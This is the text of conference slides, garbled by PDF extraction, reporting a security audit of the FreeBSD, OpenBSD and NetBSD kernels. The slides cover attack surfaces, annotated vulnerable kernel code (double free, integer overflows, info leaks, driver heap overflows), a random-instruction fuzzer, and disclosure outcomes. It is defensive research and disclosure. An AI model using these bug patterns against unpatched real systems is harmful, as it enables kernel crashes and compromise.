quality!difference.!However:!! •  that!was!well!over!a!decade!ago.!! •  Have!things!changed?!! •  Time!spend!on!the!BSDs!was!only!a!couple!of!days!compared!to!Linux! •  If!more!4me!would’ve!been!spend,!would!more!bugs!have!been!found?!! •  bugs!are!mostly!int!overflows!and!info!leaks!! •  Other!kinds!of!issues!that!can!‘easily’!be!found!?!! Test by Audit redux.; •  Spend!April-May-June!audi4ng!BSD!source!code.! •  Asked!myself,!“where!would!the!bugs!be?”!! •  AJack!surface! •  Very!common! •  Syscalls!! •  TCP/IP!stack!! •  Somewhat!less!common!(in!ascending!order,!more!or!less)! •  Drivers!(ioctl!interface)! •  compat!code!! •  Trap!handlers!! •  Filesystems!!! •  Other!networking!(BT,!wifi,!IrDA)! ! Syscalls; AFack surface entrypoint; •  The!obvious!aJack!surface!! •  Syscalls!are!how!userland!gets!anything!done!from!kernel!! •  Hundreds!of!them!! •  FreeBSD:!~550!! •  OpenBSD:!~330!! •  NetBSD:!~480! •  Assump4on:!given!that!they’re!obvious,!and!well!tested,!less!likely!to!contain! security!bugs!! int! sys_sendsyslog(struct!proc!*p,!void!*v,!register_t!*retval)! {! !struct!sys_sendsyslog_args!/*!{! ! !syscallarg(const!void!*)!buf;! ! !syscallarg(size_t)!nbyte;! ! !syscallarg(int)!flags;! !}!*/!*uap!=!v;! !int!error;! !sta4c!int!dropped_count,!orig_error;! ...! !error!=!dosendsyslog(p,!SCARG(uap,!buf),! SCARG(uap,!nbyte),! !!!!!SCARG(uap,!flags),!UIO_USERSPACE);! ...! !return!(error);! }! int! dosendsyslog(struct!proc!*p,!const!char!*buf,!size_t!nbyte,!int!flags,! !!!!enum!uio_seg!sflg)! {! ...! !struct!iovec!aiov;! !struct!uio!auio;! !size_t!i,!len;! ...! !aiov.iov_base!=!(char!*)buf;! !aiov.iov_len!=!nbyte;!ß!user!controlled!size_t.!never!capped!anywhere!! ...! !auio.uio_resid!=!aiov.iov_len;! ...! !len!=!auio.uio_resid;!ß!user!controlled!size_t! !if!(fp)!{! ...! !}!else!if!(consJy!||!cn_devvp)!{! ...! !}!else!{! ...! ! ! !kbuf!=!malloc(len,!M_TEMP,!M_WAITOK);!!! ...! !}! ...! }! Sample bug ; •  sendsyslog!system!call!! •  OpenBSD!6.1! •  Been!there!since!OpenBSD!6.0! •  Unbound!length!passed!to!malloc()!from!userland!! •  Will!trigger!a!kernel!panic!! int! sys_kldstat(struct!thread!*td,!struct!kldstat_args!*uap)! {! !struct!kld_file_stat!stat;! !int!error,!version;! ! !/*! !!*!Check!the!version!of!the!user's!structure.! !!*/! !if!((error!=!copyin(&uap->stat->version,!&version,!sizeof(version)))! !!!!!!=!0)! ! !return!(error);! !if!(version!!=!sizeof(struct!kld_file_stat_1)!&&! !!!!!version!!=!sizeof(struct!kld_file_stat))! ! !return!(EINVAL);! ! !error!=!kern_kldstat(td,!uap->fileid,!&stat);!ß!doesn’t!full!init!stat!struct! !if!(error!!=!0)! ! !return!(error);! !return!(copyout(&stat,!uap->stat,!version));!ß!uninit!stat!struct!copied!to!user! }! Sample bug 2 ; •  kldstat!system!call!! •  FreeBSD!11.0! •  Been!there!for!almost!10!years!(Modified!Mon$Oct$22$04:12:57$2007$UTC!(9!years,!9!months!ago))! •  Doesn’t!fully!ini4alize!a!structure.!Sends!it!back!to!userland! •  infoleak! •  Previous!assump4on!is!not!true:!bugs$in$syscalls$do$occur$with$some$frequency$$ •  Especially!newly!added!syscalls!! TCP/IP stack ; AFack surface entrypoint; •  TCP/IP!stack!! •  Ipv4/6!! •  Udp/tcp/icmp! •  Ipsec!! •  …! •  Obvious!and!well!known!aJack!surface!! •  Has!been!around!forever!! •  Assump4on:!well!tested!and!less!likely!to!find!bugs!there!! sta4c!void!pppoe_dispatch_disc_pkt(struct!mbuf!*m,!int!off)! {! ...! !int!noff,!err,!errortag;! !u_int16_t!*max_payload;! !u_int16_t!tag,!len;! ...! !while!(off!+!sizeof(*pt)!<=!m->m_pkthdr.len)!{! ! !n!=!m_pulldown(m,!off,!sizeof(*pt),!&noff);! ...! ! !pt!=!(struct!pppoetag!*)(mtod(n,!caddr_t)!+!noff);! ! !tag!=!ntohs(pt->tag);! ! !len!=!ntohs(pt->len);! ...! ! !switch!(tag)!{! ...! ! !case!PPPOE_TAG_SNAME_ERR:! ! ! !err_msg!=!"SERVICE!NAME!ERROR";! ! ! !errortag!=!1;! ! ! !break;! …! ! !}! ! !if!(err_msg)!{! ! ! !log(LOG_INFO,!"%s:!%s:!",!devname,!err_msg);! ! ! !if!(errortag!&&!len)!{! ! ! ! !n!=!m_pulldown(m,!off,!len,! ! ! ! !!!!!&noff);!ß!if!m_pulldown()!fails,!it!will!mfreem(m)! ! ! ! !if!(n)!{! ! ! ! ! !u_int8_t!*et!=!mtod(n,!caddr_t)!+!noff;! ! ! ! ! !while!(len--)! ! ! ! ! ! !addlog("%c",!*et++);! ! ! ! !}!<--!should!have!else!case!that!sets!m!to!NULL!! ! ! !}! ! ! !addlog("\n");! ! ! !goto!done;!!ß!will!end!up!mfreem(m)!again!! ! !}! ! !off!+=!len;! !}! ...! done:! !m_freem(m);!ß!possible!double!free!! }! Sample bug; •  pppoe_dispatch_disc_pkt()! •  Double!free!when!parsing!packet!! •  Affects!OpenBSD!6.1! •  Been!there!since!2004! •  Fixed!in!NetBSD!a!couple!of!months!ago! ! •  Previous!assump4on!is!not![en4rely]!true:!bugs!in!TCP/IP!stack!do!occur!with! some!frequency!! •  newer!code!!! •  mbuf$handling$is$complicated$and$error$prone$$ Drivers ; AFack surface entrypoint; •  Lots!and!lots!of!drivers!! •  For!all!sorts!of!things!! •  UNIX:!everything!is!a!file!! •  Most!expose!entrypoints!in!/dev!! •  File!opera4ons!! •  Open!! •  Ioctl!! •  Read! •  Write!! •  Close! •  …! •  Ioctl!is!where!most!of!the!aJack!surface!is!!! int! cryptof_ioctl(struct!file!*fp,!u_long!cmd,!void!*data)! {! ...! !switch!(cmd)!{! ...! ! !mutex_enter(&crypto_mtx);! ! !fcr->m4me!=!fcr->a4me;! ! !mutex_exit(&crypto_mtx);! ! !mkop!=!(struct!crypt_mkop!*)data;! ! !knop!=!kmem_alloc((mkop->count!*!sizeof(struct!crypt_n_kop)),!! ! !!!!!KM_SLEEP);! ! !error!=!copyin(mkop->reqs,!knop,! ! !!!!!(mkop->count!*!sizeof(struct!crypt_n_kop)));! ! !if!(!error)!{! ! ! !error!=!cryptodev_mkey(fcr,!knop,!mkop->count);!! ! ! !if!(!error)! ! ! ! !error!=!copyout(knop,!mkop->reqs,! ! ! ! !!!!!(mkop->count!*!sizeof(struct!crypt_n_kop)));! ! !}! ! !kmem_free(knop,!(mkop->count!*!sizeof(struct!crypt_n_kop)));! ! !break;! ...! }! Integer!overflow! Memory!corrup4on! due!to!int!overflow! Sample bug; •  Crypto!device!CIOCNFKEYM!ioctl!! •  NetBSD!7.1!! •  Been!there!since!NetBSD!4.0.1?!Thu$Apr$10$22:48:42$2008$! •  Classic!integer!overflow!à!memory!corrup4on!! sta4c!int! ksyms_open(struct!cdev!*dev,!int!flags,!int!fmt!__unused,!struct!thread!*td)! {! ...! !struct!ksyms_soÑc!*sc; !! ...! !sc!=!(struct!ksyms_soÑc!*)!malloc(sizeof!(*sc),!M_KSYMS,!! !!!!!M_NOWAIT|M_ZERO);! ...! !sc->sc_proc!=!td->td_proc;! !sc->sc_pmap!=!&td->td_proc->p_vmspace->vm_pmap;!ß!will!be!used!in!d_mmap!callback.!! ...! !error!=!devfs_set_cdevpriv(sc,!ksyms_cdevpriv_dtr);! …! }! sta4c!int! ksyms_mmap(struct!cdev!*dev,!vm_ooffset_t!offset,!vm_paddr_t!*paddr,! ! !int!prot!__unused,!vm_memaJr_t!*memaJr!__unused)! {! !!!! !struct!ksyms_soÑc!*sc;! !int!error;! ! !error!=!devfs_get_cdevpriv((void!**)&sc);! !if!(error)! ! !return!(error);! ! !/*! !!*!XXX!mmap()!will!actually!map!the!symbol!table!into!the!process! !!*!address!space!again.! !!*/! !if!(offset!>!round_page(sc->sc_usize)!||!! !!!!!(*paddr!=!pmap_extract(sc->sc_pmap,!!!ß!can!be!expired!pointer!! !!!!!(vm_offset_t)sc->sc_uaddr!+!offset))!==!0)!! ! !return!(-1);! ! !return!(0);! }! Sample bug 2; •  Ksyms!device!! •  FreeBSD!11! •  Been!there!since!FreeBSD!8.0!Tue$May$26$21:39:09$2009! •  Expired!pointer!! •  open()!callback!saves!pointer!to!pmap!to!private!fd/device!storage!! •  mmap()!callback!uses!saved!pointer!in!private!fd/device!storage!! •  So!how!is!this!a!problem!?!! •  What!if!we!hand!fd!off!to!another!process!(e.g.!send!over!socket!or!fork/execve)! •  And!then!we!exit! •  If!other!process!now!does!mmap,!it!will!be!using!an!expired!pmap!!!! Compat code ; AFack surface entrypoint; •  The!BSDs!have!binary!compa4bility![compat]!support!for!some!binaries:!! •  Older!versions!of!the!OS!! •  32bit!versions!of!a!program!(on!a!64bit!version!of!the!OS)!! •  Other!opera4ng!system!(e.g.!Linux)!! •  Has!to!emulate!a!bunch!of!stuff!(e.g.!syscalls)!! “The people who rely on the compat layers don't care enough to maintain it. The people who work on the mainline system don't care about the compat layers because they don't use them. The cultures aren't aligned in the same direction. Compat layers rot very quickly.” – Theo De Raadt sta4c!int! 4_bind(file_t!*fp,!int!fd,!struct!svr4_strioctl!*ioc,!struct!lwp!*l)! {! ...! !struct!svr4_strmcmd!bnd;! ...! !if!(ioc->len!>!sizeof(bnd))! ! !return!EINVAL;! ! !if!((error!=!copyin(NETBSD32PTR(ioc->buf),!&bnd,!ioc->len))!!=!0)! ! !return!error;! ...! !switch!(st->s_family)!{! !case!AF_INET:! ...! ! !netaddr_to_sockaddr_in(&sain,!&bnd);! ...! !}! ...! }! #define!SVR4_C_ADDROF(sc)!(const!void!*)!(((const!char!*)!(sc))!+!(sc)->offs)!! ...! sta4c!void!netaddr_to_sockaddr_in! !(struct!sockaddr_in!*sain,!const!struct!svr4_strmcmd!*sc)! {! !const!struct!svr4_netaddr_in!*na;! ! !na!=!SVR4_C_ADDROF(sc);!ß!could!point!to!anywhere!in!memory!! !memset(sain,!0,!sizeof(*sain));! !sain->sin_len!=!sizeof(*sain);! !sain->sin_family!=!na->family;!ß!crash!or!info!leak! !sain->sin_port!=!na->port;!ß!crash!or!info!leak! !sain->sin_addr.s_addr!=!na->addr;!ß!crash!or!info!leak! …! }! /*! !*!Pretend!that!we!have!streams...! !*!Yes,!this!is!gross.! ...! !*/! Sample bug; •  SVR!4!streams!compat!code! •  NetBSD!7.1!! •  Been!there!since!NetBSD!1.2!Thu$Apr$11$12:49:13$1996! •  Uses!offset!that!comes!from!userland!! •  Without!any!valida4on!! •  Can!read!arbitrary(-ish)!kernel!memory!! •  Panic!! •  Info!leak! •  CVS!commit!message!on!the!bugfix:! Trap handlers ; AFack surface entrypoint; •  Trap!handlers!handle!some!kind!of!excep4on!or!fault!! •  Div!by!zero!! •  Syscall!! •  Breakpoint! •  Invalid!memory!access!! •  …! •  Some!can!be!triggered!by!userland,!and!the!kernel!has!to!handle!them!correctly!! •  due!to!their!nature,!they!are!ugly!and!highly!architecture!specific! Fuzz it! ; •  what!would!happen!if!you!simply!executed!a!bunch!of!random!bytes!as! instruc4ons?!! •  Surely!a!bunch!of!traps!will!get!generated,!and!the!kernel!would!have!to!handle! them!! int!rfd;! ! void!execute_code(unsigned!char!*p)!{! !!!!int!(*fn)();! !!!!fn!=!p;! !!!!fn();! !!!!return;! }! ! void!fuzz()!{! !!!!unsigned!char!*code!=!mmap(NULL,!lenbuf,!PROT_EXEC!|!PROT_READ!|!PROT_WRITE,!MAP_PRIVATE!|!MAP_ANONYMOUS,!-1,!0);! !!!!while(1)!{! !!! !!read(rfd,!code,!lenbuf);! !!! !!int!pid!=!fork();! !!! !!if!(pid!==!-1)!{! !!! ! !!exit(0);! !!! !!}!else!if!(pid!==!0)!{! !!! ! !!execute_code(code);! !!! !!}!else!{! !!! ! !!int!status;! !!! ! !!pid_t!r;! !!! ! !!r!=!waitpid(pid,!&status,!0);! !!! ! !!if!(r!==!-1)!{! !!! ! ! !!kill(pid,!9);! !!! ! ! !!sleep(1);! !!! ! ! !!waitpid(pid,!&status,!WNOHANG);! !!! ! !!}! !!! !!}! ! !!!!}! }! ! int!main(void)!{! !!!!rfd!=!open("/dev/urandom",!O_RDONLY);! !!!!fuzz();! }! demo!; Hit trap bugs; •  Xen!NULL!deref!! •  tdsendsignal()!invalid!signal!0! File systems ; AFack surface entrypoint; •  Filesystem!aJack!surface!seems!easy!enough.!! •  Malicious!fs!image!that!gets!mounted!! •  Also!do!file!opera4ons!on!them!once!mounted!! •  Is!certainly!aJack!surface!! •  However,!there!is!more!! ! •  In!recent!years!all!3!BSDs!support!fuse!! •  VFS!layer!now!has!to!deal!with!malicious!data!that!comes!from!userland! •  Before!it!always!came!from!a!trusted!file!system!driver! AFack surface entrypoint [fuse]; •  FBSD/OBSD/NBSD!all!have!different!fuse!implementa4ons!(no!shared!code!whatsoever)!! •  NBSD:!most!complete!(allows!for!the!most!file!opera4ons)!! •  FBSD:!most!controlled!arguments!passed!back!and!forth!!(getaJr,!readdir)!less!opportunity!for! consumers!to!make!mistakes,!but!more!parsing/processing!in!fusefs!itself,!more!poten4al!for!bugs!in! fuse!code!itself! •  OBSD:!minimal!func4onal!implementa4on!(compared!to!the!previous!two)!! •  none!implement!ioctl!! •  all!do:!! •  read! •  write!! •  readdir!! •  getaJr! •  setaJr! •  ...! int! vfs_getcwd_scandir(struct!vnode!**lvpp,!struct!vnode!**uvpp,!char!**bpp,! !!!!char!*bufp,!struct!proc!*p)! {! !int!eofflag,!tries,!dirbuflen,!len,!reclen,!error!=!0;! ...! !struct!vaJr!va;! ...! ! !error!=!VOP_GETATTR(lvp,!&va,!p->p_ucred,!p);!ß!data!can!come!from!fusefs!! ...! !dirbuflen!=!DIRBLKSIZ;! ! !if!(dirbuflen!<!va.va_blocksize)! ! !dirbuflen!=!va.va_blocksize;!ß!fusefs!can!make!this!really!big!! ! !dirbuf!=!malloc(dirbuflen,!M_TEMP,!M_WAITOK);!ß!malloc()!will!panic!on!very!large!values!! ...! error!=!VOP_READDIR(uvp,!&uio,!p->p_ucred,!&eofflag);!ß!fusefs!can!provide!arbitrary!content!! ...! cpos!=!dirbuf;! ...! for!(len!=!(dirbuflen!-!uio.uio_resid);!len!>!0;! !!!!!len!-=!reclen)!{! !dp!=!(struct!dirent!*)cpos;! !reclen!=!dp->d_reclen;! ! !/*!Check!for!malformed!directory!*/! !if!(reclen!<!DIRENT_RECSIZE(1))!{! ! !error!=!EINVAL;! ! !goto!out;! !}! ! !if!(dp->d_fileno!==!fileno)!{! ! !char!*bp!=!*bpp;! ! !bp!-=!dp->d_namlen;!ß!fusefs!can!lie!about!d_namlen! ! ! !if!(bp!<=!bufp)!{! ! ! !error!=!ERANGE;! ! ! !goto!out;! ! !}! ! !memmove(bp,!dp->d_name,!dp->d_namlen);!ß!out!of!bound!read.!! Sample bug; •  Unbound!malloc!and!out!of!bound!read!(could!panic!or!info!leak)!! •  OpenBSD!6.1!! •  Been!there!since!OpenBSD!4.0!Fri$Apr$28$08:34:31$2006$! •  getcwd!syscall!when!taking!data!from!fuse!/!userland!! sta4c!daddr_t! ext2_nodealloccg(struct!inode!*ip,!int!cg,!daddr_t!ipref,!int!mode)! {! ...! !error!=!bread(ip->i_devvp,!fsbtodb(fs,! !!!!!fs->e2fs_gd[cg].ext2bgd_i_bitmap),! !!!!!(int)fs->e2fs_bsize,!NOCRED,!&bp);!ß!read!from!filesystem!! ...! !ibp!=!(char!*)bp->b_data;! ...! !len!=!howmany(fs->e2fs->e2fs_ipg!-!ipref,!NBBY);! !loc!=!memcchr(&ibp[start],!0xff,!len);! !if!(loc!==!NULL)!{! ! !len!=!start!+!1;! ! !start!=!0;! ! !loc!=!memcchr(&ibp[start],!0xff,!len);!ß!logic!driven!by!fs!data!! ! !if!(loc!==!NULL)!{! ! ! !prinà("cg!=!%d,!ipref!=!%lld,!fs!=!%s\n",! ! ! !!!!!cg,!(long!long)ipref,!fs->e2fs_fsmnt);! ! ! !panic("ext2fs_nodealloccg:!map!corrupted");!!ß!panic!driven!by!fs!data! ! ! !/*!NOTREACHED!*/! ! !}! !}! ...! }! Sample bug 2; •  panic()!driven!by!filesystem!data!! •  FreeBSD!11!! •  Been!there!since!FreeBSD!8.1!Thu$Jan$14$14:30:54$2010! •  Ext2!file!system!code!! Networking (bt, wifi, irda) ; Wifi AFack surface entrypoint; •  Stack!itself!! •  802.11!network!data!! •  Parsing!! •  Info!leaks! •  Wifi!drivers! •  Data!send!by!device!to!host!!! 802.11 stack; •  One!802.11!stack!for!all!wifi!drivers!! •  Much!easier!to!maintain! •  Need!to!fix!in!only!1!place!if!bugs!are!found!! •  ieee80211_input()!is!main!parsing!input!! •  Called!from!all!wifi!drivers!! ieee80211_eapol_key_input(struct!ieee80211com!*ic,!struct!mbuf!*m,! !!!!struct!ieee80211_node!*ni)! {! !struct!ifnet!*ifp!=!&ic->ic_if;! !struct!ether_header!*eh;! !struct!ieee80211_eapol_key!*key;! ...! !eh!=!mtod(m,!struct!ether_header!*);! ...! !if!(m->m_len!<!sizeof(*key)!&&! !!!!!(m!=!m_pullup(m,!sizeof(*key)))!==!NULL)!{!!!ß!guarantees!that!there!are!sizeof(struct!ieee80211_eapol_key)!con4nuous!bytes!in!the!mbuf!! ..! !}! ...! !key!=!mtod(m,!struct!ieee80211_eapol_key!*);! ...! !if!(m->m_pkthdr.len!<!4!+!BE_READ_2(key->len))!ß!assume!key->len!is!larger!than!key->payload!! ! !goto!done;! ! !/*!check!key!data!length!*/! !totlen!=!sizeof(*key)!+!BE_READ_2(key->paylen);!!ß!assume!key->len!is!larger!than!key->payload!! !if!(m->m_pkthdr.len!<!totlen!||!totlen!>!MCLBYTES)! ! !goto!done;! ...! !/*!make!sure!the!key!data!field!is!con4guous!*/! !if!(m->m_len!<!totlen!&&!(m!=!m_pullup(m,!totlen))!==!NULL)!{!ß!not!enough!data!pulled!up!if!key->len!is!larger!than!key->payload!! …! !}! !key!=!mtod(m,!struct!ieee80211_eapol_key!*);! ...! ! ! ! !ieee80211_recv_4way_msg3(ic,!key,!ni);!ß!can!crash!in!here!if!not!enough!data!is!pulled!up.! ...! }! 802.11 Stack sample bug; •  mbuf!mishandling,!leading!to!crash!!!! •  Doesn’t!guarantee!it!pulls!up!enough!mbuf!data!! •  OpenBSD!6.1! •  Bug!has!been!there!for!almost!9!years!! •  Parsing!EAPOL!frames! 802.11 Drivers; •  Wifi!drivers!are!either!PCI!or!USB! •  Do!you!trust!the!radio?!! •  What!if!it!does!get!compromised?!! ! •  Assume!PCI!cards!cause!total!compromise!(they!can!do!DMA)!! •  Well,!actually,!with!IOMMU!that’s!no!longer!the!case!…!! ! •  USB!is!packet!based!protocol!! •  Host!USB!parsers!should!be!able!to!parse!safely!! •  Currently!BSD!wifi!drivers!do!not!do!this!! •  Leads!to!trivial!heap!smashes!! void! run_rx_frame(struct!run_soÑc!*sc,!uint8_t!*buf,!int!dmalen)! {! ...! !struct!rt2860_rxwi!*rxwi;! ...! !uint16_t!len;! ...! !rxwi!=!(struct!rt2860_rxwi!*)buf;! ...! !len!=!letoh16(rxwi->len)!&!0xfff;!ß!can!be!at!most!4095! ...! !/*!could!use!m_devget!but!net80211!wants!con4g!mgmt!frames!*/! !MGETHDR(m,!M_DONTWAIT,!MT_DATA);! !if!(__predict_false(m!==!NULL))!{! ! !ifp->if_ierrors++;! ! !return;! !}! !if!(len!>!MHLEN)!{!<--!if!len!is!4095,!come!here!! ! !MCLGET(m,!M_DONTWAIT);!ß!allocates!a!cluster,!which!is!2048!bytes!long! ! !if!(__predict_false(!(m->m_flags!&!M_EXT)))!{! ! ! !ifp->if_ierrors++;! ! ! !m_freem(m);! ! ! !return;! ! !}! !}! ...! !/*!finalize!mbuf!*/! !memcpy(mtod(m,!caddr_t),!wh,!len);!ß!memory!corrup4on!! !m->m_pkthdr.len!=!m->m_len!=!len;! ...! }! /*! !*!A!frame!has!been!uploaded:!pass!the!resul4ng!mbuf!chain!up!to! !*!the!higher!level!protocols.! !*/! void! atu_rxeof(struct!usbd_xfer!*xfer,!void!*priv,!usbd_status!status)! {! ...! !h!=!(struct!atu_rx_hdr!*)c->atu_buf;! !len!=!UGETW(h->length)!-!4;!/*!XXX!magic!number!*/!!ß!integer!underflow!! ! !m!=!c->atu_mbuf;! !memcpy(mtod(m,!char!*),!c->atu_buf!+!ATU_RX_HDRLEN,!len);!ß!need!to!validate!len!before!copy.!can!cause!memory!corrup4on!! ...! !usbd_setup_xfer(c->atu_xfer,!sc->atu_ep[ATU_ENDPT_RX],!c,!c->atu_buf,! !!!!!ATU_RX_BUFSZ,!USBD_SHORT_XFER_OK!|!USBD_NO_COPY,!USBD_NO_TIMEOUT,! ! !atu_rxeof);! !usbd_transfer(c->atu_xfer);! }! void! otus_sub_rxeof(struct!otus_soÑc!*sc,!uint8_t!*buf,!int!len)!ß!len!comes!from!usb.!can!be!~8k!! {! ...! !uint8_t!*plcp;! ...! !plcp!=!buf;! ...! !mlen!=!len!-!AR_PLCP_HDR_LEN!-!sizeof!(*tail);! ...! !mlen!-=!IEEE80211_CRC_LEN;!/*!strip!802.11!FCS!*/! ! !wh!=!(struct!ieee80211_frame!*)(plcp!+!AR_PLCP_HDR_LEN);! ...! !MGETHDR(m,!M_DONTWAIT,!MT_DATA);! !if!(__predict_false(m!==!NULL))!{! ! !ifp->if_ierrors++;! ! !return;! !}! !if!(align!+!mlen!>!MHLEN)!{! ! !MCLGET(m,!M_DONTWAIT);!ß!allocates!a!cluster,!which!is!2048!bytes!long! ! !if!(__predict_false(!(m->m_flags!&!M_EXT)))!{! ! ! !ifp->if_ierrors++;! ! ! !m_freem(m);! ! ! !return;! ! !}! !}! !/*!Finalize!mbuf.!*/! !m->m_data!+=!align;! !memcpy(mtod(m,!caddr_t),!wh,!mlen);!ß!mlen!can!be!~8k.!can!cause!memory!corrup4on.! ...! }! void! rsu_event_survey(struct!rsu_soÑc!*sc,!uint8_t!*buf,!int!len)! {! ...! !struct!ndis_wlan_bssid_ex!*bss;! !struct!mbuf!*m;! !int!pktlen;! ...! !bss!=!(struct!ndis_wlan_bssid_ex!*)buf;! ...! !if!(__predict_false(len!<!sizeof(*bss)!+!letoh32(bss->ieslen)))!!ß!could!int!overflow!! ! !return;! ...! !/*!Build!a!fake!beacon!frame!to!let!net80211!do!all!the!parsing.!*/! !pktlen!=!sizeof(*wh)!+!letoh32(bss->ieslen);!ß!could!int!overflow!! !if!(__predict_false(pktlen!>!MCLBYTES))!ß!signedness!issue!! ! !return;! !MGETHDR(m,!M_DONTWAIT,!MT_DATA);! !if!(__predict_false(m!==!NULL))! ! !return;! !if!(pktlen!>!MHLEN)!{! ! !MCLGET(m,!M_DONTWAIT);! ! !if!(!(m->m_flags!&!M_EXT))!{! ! ! !m_free(m);! ! ! !return;! ! !}! !}! !wh!=!mtod(m,!struct!ieee80211_frame!*);! ...! !memcpy(&wh[1],!(uint8_t!*)&bss[1],!letoh32(bss->ieslen));!ß!memory!corrup4on!! ...! }! 802.11 drivers sample bug; •  Wide!open!aJack!surface! •  Atmel!AT76C50x!IEEE!802.11b!wireless!network!device![atu(4)]! •  Atheros!USB!IEEE!802.11a/b/g/n!wireless!network!device![otus(4)]! •  Realtek!RTL8188SU/RTL8192SU!USB!IEEE!802.11b/g/n!wireless!network!device![rsu(4)]! •  Ralink!Technology/MediaTek!USB!IEEE!802.11a/b/g/n!wireless!network!device![run(4)]! •  Atheros!USB!IEEE!802.11a/b/g!wireless!network!device![uath(4)]! •  Across!all!BSDs! •  They!didn’t!think!about!the!aJack!surface!on!this!one!! ! miscellaneous; •  NULL!derefs!! •  malloc(len,!type,!M_NOWAIT/M_CANFAIL)! •  Not!checking!return!value!! •  Rela4vely!frequent!bug!! •  M_WAITOK!(==!can!never!fail)!is!a!very!common!case! •  Developers!trea4ng!M_NOWAIT/M_CANFAIL!code!as!if!it!was!M_WAITOK! •  DRM/DRI! •  DRM/DRI!code!base!is!part!of!linux!kernel!source!tree.! •  BSD!folks!fork!it! •  Code!quality!is!about!as!big!a!shit!sandwich!as!it!is!in!linux!DRM/DRI!code!base! !! ! “ All this linux code that we are importing ... is not going to be reviewed by any of the other OpenBSD kernel developers ... because they refuse to read any code that is not conformant to the BSD KNF standard” – Matthieu Herrb Results; •  results:!! •  About!~115!kernel!bugs!so!far!! •  FBSD:!~30! •  OBSD:!~25! •  NBSD:!~60! !! •  types!of!bugs!seen:!! •  Straight!heap/stack!smash! •  race!condi4ons!! •  expired!pointers!! •  Double!frees! •  recursion!issues! •  integer!issues!! •  Underflows,!overflows,!signedness! •  Refcount!issues!! •  Overflows!! •  Reference!dropped!too!soon!à!use!aÑer!free! •  info!leaks!! •  out!of!bound!read! •  NULL!deref! •  Logic!bugs! •  typo! •  Division!by!zero! •  kernel!panics!driven!by!userland!! •  Memory!leaks! Conclusions; •  Bugs!were!found!in!all!3!of!the!examined!BSDs!! •  Among!all!of!the!aJack!surfaces!men4oned!above!! •  Winner!/!loser!! •  OBSD!clear!winner!(they!have!massively!reduced!their!aJack!surface!over!the!years):! •  AJack!surface!reduc4on!! •  no!loadable!modules! •  rela4vely!few!devices! •  Virtually!no!compat!code!(they!removed!Linux!!a!couple!of!years!ago)! •  removed!en4re!Bluetooth!stack!! •  Significantly!less!syscalls!(e.g.!200+!syscalls!less!than!FBSD)! •  Cut!support!for!some!older!architectures! •  Code!Quality! •  int!overflows!/!signedness!bugs,!as!good!as!gone!in!most!places! •  Few!info!leaks!! •  NBSD!clear!loser! •  Tons!of!legacy!and!compat!code!(who!the!hell!s4ll!needs!the!ISO!protocols!???!Really?)!! •  seems!to!be!less!consistent!with!security!code!quality! •  Too!many!signedness!bugs.!! •  This!is!NOT$a!dis.!! •  if!you!think!building/maintaining/improving!and!OS!is!easy,!go!ahead,!try!it.!See!how!far!you!get.!!! •  FBSD!is!somewhere!in!between!! Conclusions; •  Security!team!responses!! ! •  OpenBSD! •  About!a!week!or!so!to!get!response!(Theo!said!it!took!so!long!because!he!was!on!vaca4on)!! •  Bugfixes!rolled!out!in!the!next!couple!of!days!! ! •  FreeBSD! •  Response!in!about!a!week!or!so!! •  The!filed!bugs!internally!! •  Don’t!know!what!the!status!of!those!bugs!is! •  NetBSD! •  They!fixed!virtually!all!bugs!submiJed.!PreJy!much!overnight$!!!$ •  That!is!ridiculously!impressive.!! •  They!also!turned!off!the!SVR4!subsystem!for!i386!by!default!! “We have also disabled COMPAT_SVR4 by default on i386, something that should have been done a long time ago.” – Response from NetBSD developers More conclusions ; •  Bugs!are!s4ll!easy!to!find!in!those!kernels.!Even!OpenBSD.! •  Varying!level!of!quality!depending!on!age!and!who!wrote!it!! •  Most!consistent!quality!was!observed!with!OpenBSD!! •  The!maintainers!of!various!BSDs!should!talk!more!among!each!other!! •  Several!bugs!in!one!were!fixed!in!the!other!! •  OpenBSD!expired!proc!pointer!in!midiioctl()!fixed!in!NetBSD!! •  NetBSD!signedness!bug!in!ac97_query_devinfo()!fixed!in!OpenBSD!! More conclusions ; •  Code!base!size! •  OpenBSD:!2863505!loc! •  NetBSD:!!!!7330629!loc! •  FreeBSD:!!!8997603!loc!! ! •  Obviously!this!plays!a!part!! •  Can’t!have!a!bug!in!code!you!don’t!have!! •  Accidental!vs.!planned!! •  Haven’t!goJen!to!implemen4ng!something!yet!or!…! •  Choice!made!on!purpose!to!delete!code!! •  AJack!surface!reduc4on! More conclusions ; •  Many!eyeballs!…! •  Gut!feeling,!I!suspect!this!is!a!factor.!!! •  Based!on!my!result,!code!quality!alone!can’t!account!for!the!discrepancy! between!the!bug!numbers!(BSD!vs.!Linux).!! •  Say!what!you!will!about!the!people!reviewing!the!Linux!kernel!code,!there!are! simply!orders!of!magnitude!more!of!them.!And!it!shows!in!the!numbers.!! Ques9ons / comments from the internet; •  Defcon!releases!presenta4on!before!you!actually!perform!the!presenta4on!! •  This!is!kindof!annoying….! •  People!saw!it,!and!commented!on!it!before!I!had!a!chance!to!stand!up!here!…!! •  Surprisingly!liJle!hate!/!trolls!(yet?)!! •  Got!some!from!the!OS!zealots! •  Why!didn’t!you!do!the!same!for!linux?!! •  The!numbers!presented!earlier!speak!for!themselves!IMO.!Assumed!them!(and!what!they!imply)!to!be!accurate!! •  You!conclude!that!linux!is!beJer!!And!its!not!even!the!subject!of!the!presenta4on!! •  I!did!not.!! •  You!should’ve!added!a!comparison!of!protec4on!mechanisms!between!linux!and!the!BSDs! •  While!that!would!be!interes4ng,!its!far!outside!of!the!scope.!Doesn’t!relate!to!code!quality.!Also!4me!constraints.! •  What!about!dragonflyBSD?!HardenedBSD?! •  I!Considered!it.!Maybe!I!should!have!too.!I!had!limited!amount!of!4me!and!picked!the!3!most!commonly!used!BSDs! Ques9ons / comments from the internet; •  Interes4ng!related!links!I!got!from!the!internet!! •  How$to$find$56$potenOal$vulnerabiliOes$in$FreeBSD$code$in$one$evening,!PVS-Studio$ delved$into$the$FreeBSD$kernel$ •  hJps://www.viva64.com/en/b/0496/!! •  hJps://www.viva64.com/en/b/0377/!! •  hJps://www.viva64.com/en/b/0487/! •  FreeBSD!–!A!lesson!in!poor!defaults!! •  hJps://vez.mrsk.me/freebsd-defaults.txt!! Ques9ons ?;
pdf
